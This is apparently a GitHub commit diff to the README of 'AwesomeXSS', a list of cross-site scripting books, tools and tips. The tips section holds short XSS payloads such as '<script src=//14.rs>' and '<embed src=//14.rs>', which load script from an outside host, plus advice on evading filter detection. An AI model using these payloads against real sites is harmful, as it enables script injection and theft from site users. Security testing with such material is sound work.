Update README.md

This commit is contained in:
Somdev Sangwan 2018-03-11 21:34:00 +05:30 committed by GitHub
parent 1d33cd5ba5
commit 14ce37b3fc
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -1,7 +1,7 @@
# AwesomeXSS # AwesomeXSS
Awesome XSS stuff. Awesome XSS stuff.
Put this repo on watch. I will be updating it regularly. Put this repo on watch. I will be updating it regularly.
### Awesome Books ### Awesome Books
- [XSS Cheat Sheet By Brute Logic](http://google.com) - [XSS Cheat Sheet By Brute Logic](http://google.com)
@ -50,6 +50,8 @@ Put this repo on watch. I will be updating it regularly.
### Awesome Payloads ### Awesome Payloads
Come back later Come back later
### Awesome Exploits
Come back later
### Awesome Tags & Event Handlers ### Awesome Tags & Event Handlers
Come back later Come back later
@ -58,7 +60,8 @@ Come back later
Come back later Come back later
### Awesome Tools ### Awesome Tools
- (XSStrike)[http://xsstrike.tk/] - [XSStrike](http://xsstrike.tk/)
- [KNOXSS](http://knoxss.me/)
### Awesome Tips & Tricks ### Awesome Tips & Tricks
- http:// can be shortened to // - http:// can be shortened to //
@ -67,3 +70,7 @@ Come back later
- I have found that **confirm** is the least detected pop-up function so stop using alert. - I have found that **confirm** is the least detected pop-up function so stop using alert.
- Quotes around attribute value aren't neccessary. You can use **<script src=//14.rs>** instead of **<script src="//14.rs"glt;** - Quotes around attribute value aren't neccessary. You can use **<script src=//14.rs>** instead of **<script src="//14.rs"glt;**
- The shortest independent payload is **<embed src=//14.rs>** (19 chars) - The shortest independent payload is **<embed src=//14.rs>** (19 chars)
## Credits and all that
All the payloads are crafted by me unless specified.
Thanks to my big brother [Rodolfo Assis](https://twitter.com/brutelogic) whose writings inspired me to become an XSSLord.